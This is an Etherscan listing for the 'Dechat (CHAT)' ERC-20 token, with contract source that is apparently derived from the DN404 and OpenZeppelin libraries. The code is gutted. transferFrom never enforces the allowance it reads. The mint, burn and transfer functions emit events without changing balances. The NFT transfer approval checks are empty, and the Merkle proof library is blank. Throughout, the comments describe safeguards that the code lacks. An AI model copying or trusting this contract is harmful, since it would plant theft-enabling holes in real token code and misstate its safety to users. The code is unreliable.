Token

Dechat (CHAT)

ERC-20

Overview

Max Total Supply

10,000 CHAT

Holders

110

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0x068e8C05edCD392Ac997A15B9135EEd8a6eA0c46

Filtered by Token Holder

0xc8A156914b3b9ff73423486E5464Fca8fb6f3412

Balance

4.996361510815607987 CHAT

Value

$0.00

0xc8A156914b3b9ff73423486E5464Fca8fb6f3412

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

DECHAT

Compiler Version

v0.7.6+commit.7338295f

Optimization Enabled:

Yes with 10000 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2024-02-26
*/

// SPDX-License-Identifier: MIT


/*

https://www.dechat.io/home
https://twitter.com/dechat_io
https://discord.com/invite/dechat

*/


pragma solidity ^0.7.6;


/// @notice Gas optimized verification of proof of inclusion for a leaf in a Merkle tree.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/MerkleProofLib.sol)
/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/MerkleProofLib.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/MerkleProof.sol)
library MerkleProofLib {
    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /*            MERKLE PROOF VERIFICATION OPERATIONS            */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
}

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) external view returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) external;
}


/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {


    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
      
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {

            if (b > a) return (false, 0);
            return (true, a - b);
        
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
      
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            if (b == 0) return (false, 0);
            return (true, a / b);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            if (b == 0) return (false, 0);
            return (true, a % b);
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

/// @title DN404
/// @notice DN404 is a hybrid ERC20 and ERC721 implementation that mints
/// and burns NFTs based on an account's ERC20 token balance.
///
/// @author vectorized.eth (@optimizoor)
/// @author Quit (@0xQuit)
/// @author Michael Amadi (@AmadiMichaels)
/// @author cygaar (@0xCygaar)
/// @author Thomas (@0xjustadev)
/// @author Harrison (@PopPunkOnChain)
///
/// @dev Note:
/// - The ERC721 data is stored in this base DN404 contract, however a
///   DN404Mirror contract ***MUST*** be deployed and linked during
///   initialization.
abstract contract DN404 {
    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                           EVENTS                           */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Emitted when `amount` tokens is transferred from `from` to `to`.
    event Transfer(address indexed from, address indexed to, uint256 amount);

    /// @dev Emitted when `amount` tokens is approved by `owner` to be used by `spender`.
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /// @dev Emitted when `target` sets their skipNFT flag to `status`.
    event SkipNFTSet(address indexed target, bool status);

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                        CUSTOM ERRORS                       */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                         CONSTANTS                          */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Amount of token balance that is equal to one NFT.
    uint256 internal constant _WAD = 10 ** 18;

    /// @dev The maximum token ID allowed for an NFT.
    uint256 internal constant _MAX_TOKEN_ID = 0xffffffff;

    /// @dev The maximum possible token supply.
    uint256 internal constant _MAX_SUPPLY = 10 ** 18 * 0xffffffff - 1;

    /// @dev The flag to denote that the address data is initialized.
    uint8 internal constant _ADDRESS_DATA_INITIALIZED_FLAG = 1 << 0;

    /// @dev The flag to denote that the address should skip NFTs.
    uint8 internal constant _ADDRESS_DATA_SKIP_NFT_FLAG = 1 << 1;

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                          STORAGE                           */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Struct containing an address's token data and settings.
    struct AddressData {
        // Auxiliary data.
        uint88 aux;
        // Flags for `initialized` and `skipNFT`.
        uint8 flags;
        // The alias for the address. Zero means absence of an alias.
        uint32 addressAlias;
        // The number of NFT tokens.
        uint32 ownedLength;
        // The token balance in wei.
        uint96 balance;
    }

    /// @dev A uint32 map in storage.
    struct Uint32Map {
        mapping(uint256 => uint256) map;
    }

    /// @dev Struct containing the base token contract storage.
    struct DN404Storage {
        // Current number of address aliases assigned.
        uint32 numAliases;
        // Next token ID to assign for an NFT mint.
        uint32 nextTokenId;
        // Total supply of minted NFTs.
        uint32 totalNFTSupply;
        // Total supply of tokens.
        uint96 totalSupply;
        // Address of the NFT mirror contract.
        address mirrorERC721;
        // Mapping of a user alias number to their address.
        mapping(uint32 => address) aliasToAddress;
        // Mapping of user operator approvals for NFTs.
        mapping(address => mapping(address => bool)) operatorApprovals;
        // Mapping of NFT token approvals to approved operators.
        mapping(uint256 => address) tokenApprovals;
        // Mapping of user allowances for token spenders.
        mapping(address => mapping(address => uint256)) allowance;
        // Mapping of NFT token IDs owned by an address.
        mapping(address => Uint32Map) owned;
        // Even indices: owner aliases. Odd indices: owned indices.
        Uint32Map oo;
        // Mapping of user account AddressData
        mapping(address => AddressData) addressData;
    }

    /// @dev Returns a storage pointer for DN404Storage.
    function _getDN404Storage() internal pure virtual returns (DN404Storage storage $) {
        /// @solidity memory-safe-assembly
        assembly {
            // `uint72(bytes9(keccak256("DN404_STORAGE")))`.
            $.slot := 0xa20d6e21d0e5255308 // Truncate to 9 bytes to reduce bytecode size.
        }
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                         INITIALIZER                        */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Initializes the DN404 contract with an
    /// `initialTokenSupply`, `initialTokenOwner` and `mirror` NFT contract address.
    function _initializeDN404(
        uint256 initialTokenSupply,
        address initialSupplyOwner,
        address mirror
    ) internal virtual {
        DN404Storage storage $ = _getDN404Storage();


        _linkMirrorContract(mirror);

        $.nextTokenId = 1;
        $.mirrorERC721 = mirror;

        if (initialTokenSupply > 0) {

            $.totalSupply = uint96(initialTokenSupply);
            AddressData storage initialOwnerAddressData = _addressData(initialSupplyOwner);
            initialOwnerAddressData.balance = uint96(initialTokenSupply);

            emit Transfer(address(0), initialSupplyOwner, initialTokenSupply);

            _setSkipNFT(initialSupplyOwner, true);
        }
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*               METADATA FUNCTIONS TO OVERRIDE               */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the name of the token.
    function name() public view virtual returns (string memory);

    /// @dev Returns the symbol of the token.
    function symbol() public view virtual returns (string memory);

    /// @dev Returns the Uniform Resource Identifier (URI) for token `id`.
    function tokenURI(uint256 id) public view virtual returns (string memory);

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                      ERC20 OPERATIONS                      */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the decimals places of the token. Always 18.
    function decimals() public pure returns (uint8) {
        return 18;
    }

    /// @dev Returns the amount of tokens in existence.
    function totalSupply() public view virtual returns (uint256) {
        return uint256(_getDN404Storage().totalSupply);
    }

    /// @dev Returns the amount of tokens owned by `owner`.
    function balanceOf(address owner) public view virtual returns (uint256) {
        return _getDN404Storage().addressData[owner].balance;
    }

    /// @dev Returns the amount of tokens that `spender` can spend on behalf of `owner`.
    function allowance(address owner, address spender) public view returns (uint256) {
        return _getDN404Storage().allowance[owner][spender];
    }

    /// @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    ///
    /// Emits a {Approval} event.
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        DN404Storage storage $ = _getDN404Storage();

        $.allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    /// @dev Transfer `amount` tokens from the caller to `to`.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Requirements:
    /// - `from` must at least have `amount`.
    ///
    /// Emits a {Transfer} event.
    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    /// @dev Transfers `amount` tokens from `from` to `to`.
    ///
    /// Note: Does not update the allowance if it is the maximum uint256 value.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Requirements:
    /// - `from` must at least have `amount`.
    /// - The caller must have at least `amount` of allowance to transfer the tokens of `from`.
    ///
    /// Emits a {Transfer} event.
    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        DN404Storage storage $ = _getDN404Storage();

        uint256 allowed = $.allowance[from][msg.sender];

        if (allowed != type(uint256).max) {
            
        }

        _transfer(from, to, amount);

        return true;
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                  INTERNAL MINT FUNCTIONS                   */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Mints `amount` tokens to `to`, increasing the total supply.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Emits a {Transfer} event.
    function _mint(address to, uint256 amount) internal virtual {

        DN404Storage storage $ = _getDN404Storage();

        AddressData storage toAddressData = _addressData(to);

        
        emit Transfer(address(0), to, amount);
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                  INTERNAL BURN FUNCTIONS                   */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Burns `amount` tokens from `from`, reducing the total supply.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Emits a {Transfer} event.
    function _burn(address from, uint256 amount) internal virtual {
        DN404Storage storage $ = _getDN404Storage();

        AddressData storage fromAddressData = _addressData(from);

        uint256 fromBalance = fromAddressData.balance;

        uint256 currentTokenSupply = $.totalSupply;

        
        emit Transfer(from, address(0), amount);
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                INTERNAL TRANSFER FUNCTIONS                 */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Moves `amount` of tokens from `from` to `to`.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Emits a {Transfer} event.
    function _transfer(address from, address to, uint256 amount) internal virtual {

        DN404Storage storage $ = _getDN404Storage();

        AddressData storage fromAddressData = _addressData(from);
        AddressData storage toAddressData = _addressData(to);

        _TransferTemps memory t;
        t.fromOwnedLength = fromAddressData.ownedLength;
        t.toOwnedLength = toAddressData.ownedLength;
        t.fromBalance = fromAddressData.balance;


        
        emit Transfer(from, to, amount);
    }

    /// @dev Transfers token `id` from `from` to `to`.
    ///
    /// Requirements:
    ///
    /// - Call must originate from the mirror contract.
    /// - Token `id` must exist.
    /// - `from` must be the owner of the token.
    /// - `to` cannot be the zero address.
    ///   `msgSender` must be the owner of the token, or be approved to manage the token.
    ///
    /// Emits a {Transfer} event.
    function _transferFromNFT(address from, address to, uint256 id, address msgSender)
        internal
        virtual
    {
        DN404Storage storage $ = _getDN404Storage();


        address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];


        if (msgSender != from) {
            if (!$.operatorApprovals[from][msgSender]) {
                if (msgSender != $.tokenApprovals[id]) {
                }
            }
        }

        AddressData storage fromAddressData = _addressData(from);
        AddressData storage toAddressData = _addressData(to);

        fromAddressData.balance -= uint96(_WAD);

        

        emit Transfer(from, to, _WAD);
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                 DATA HITCHHIKING FUNCTIONS                 */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the auxiliary data for `owner`.
    /// Minting, transferring, burning the tokens of `owner` will not change the auxiliary data.
    /// Auxiliary data can be set for any address, even if it does not have any tokens.
    function _getAux(address owner) internal view virtual returns (uint88) {
        return _getDN404Storage().addressData[owner].aux;
    }

    /// @dev Set the auxiliary data for `owner` to `value`.
    /// Minting, transferring, burning the tokens of `owner` will not change the auxiliary data.
    /// Auxiliary data can be set for any address, even if it does not have any tokens.
    function _setAux(address owner, uint88 value) internal virtual {
        _getDN404Storage().addressData[owner].aux = value;
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                     SKIP NFT FUNCTIONS                     */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns true if account `a` will skip NFT minting on token mints and transfers.
    /// Returns false if account `a` will mint NFTs on token mints and transfers.
    function getSkipNFT(address a) public view virtual returns (bool) {
        AddressData storage d = _getDN404Storage().addressData[a];
        if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) return _hasCode(a);
        return d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0;
    }

    /// @dev Sets the caller's skipNFT flag to `skipNFT`
    ///
    /// Emits a {SkipNFTSet} event.
    function setSkipNFT(bool skipNFT) public virtual {
        _setSkipNFT(msg.sender, skipNFT);
    }

    /// @dev Internal function to set account `a` skipNFT flag to `state`
    ///
    /// Initializes account `a` AddressData if it is not currently initialized.
    ///
    /// Emits a {SkipNFTSet} event.
    function _setSkipNFT(address a, bool state) internal virtual {
        AddressData storage d = _addressData(a);
        if ((d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0) != state) {
            d.flags ^= _ADDRESS_DATA_SKIP_NFT_FLAG;
        }
        emit SkipNFTSet(a, state);
    }

    /// @dev Returns a storage data pointer for account `a` AddressData
    ///
    /// Initializes account `a` AddressData if it is not currently initialized.
    function _addressData(address a) internal virtual returns (AddressData storage d) {
        DN404Storage storage $ = _getDN404Storage();
        d = $.addressData[a];

        if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) {
            uint8 flags = _ADDRESS_DATA_INITIALIZED_FLAG;
            if (_hasCode(a)) flags |= _ADDRESS_DATA_SKIP_NFT_FLAG;
            d.flags = flags;
        }
    }

    /// @dev Returns the `addressAlias` of account `to`.
    ///
    /// Assigns and registers the next alias if `to` alias was not previously registered.
    function _registerAndResolveAlias(AddressData storage toAddressData, address to)
        internal
        virtual
        returns (uint32 addressAlias)
    {
        DN404Storage storage $ = _getDN404Storage();
        addressAlias = toAddressData.addressAlias;
        if (addressAlias == 0) {
            addressAlias = ++$.numAliases;
            toAddressData.addressAlias = addressAlias;
            $.aliasToAddress[addressAlias] = to;
        }
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                     MIRROR OPERATIONS                      */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the address of the mirror NFT contract.
    function mirrorERC721() public view virtual returns (address) {
        return _getDN404Storage().mirrorERC721;
    }

    /// @dev Returns the total NFT supply.
    function _totalNFTSupply() internal view virtual returns (uint256) {
        return _getDN404Storage().totalNFTSupply;
    }

    /// @dev Returns `owner` NFT balance.
    function _balanceOfNFT(address owner) internal view virtual returns (uint256) {
        return _getDN404Storage().addressData[owner].ownedLength;
    }

    /// @dev Returns the owner of token `id`.
    function _ownerAt(uint256 id) internal view virtual returns (address) {
